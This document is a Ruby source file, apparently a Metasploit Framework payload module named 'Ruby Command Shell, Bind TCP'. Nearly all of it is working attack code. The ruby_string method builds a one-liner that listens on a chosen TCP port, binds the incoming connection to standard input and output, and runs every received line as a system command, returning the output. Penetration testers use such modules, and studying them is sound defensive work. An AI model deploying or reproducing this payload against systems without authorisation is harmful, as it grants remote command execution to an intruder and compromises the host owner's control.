bcoles
41 lines
1.2 KiB
Ruby
41 lines
1.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 516
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include Msf::Payload::Single
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include Msf::Payload::Ruby
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(
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merge_info(
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info,
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'Name' => 'Ruby Command Shell, Bind TCP',
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'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
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'Author' => [ 'kris katterjohn', 'hdm' ],
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'License' => MSF_LICENSE,
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'Platform' => 'ruby',
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'Arch' => ARCH_RUBY,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'ruby',
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'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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)
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)
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end
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def generate(_opts = {})
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return prepends(ruby_string)
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end
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def ruby_string
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"require 'socket';s=TCPServer.new(#{datastore['LPORT'].to_i});c=s.accept;s.close;" \
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'$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;' \
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'(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'
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end
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end
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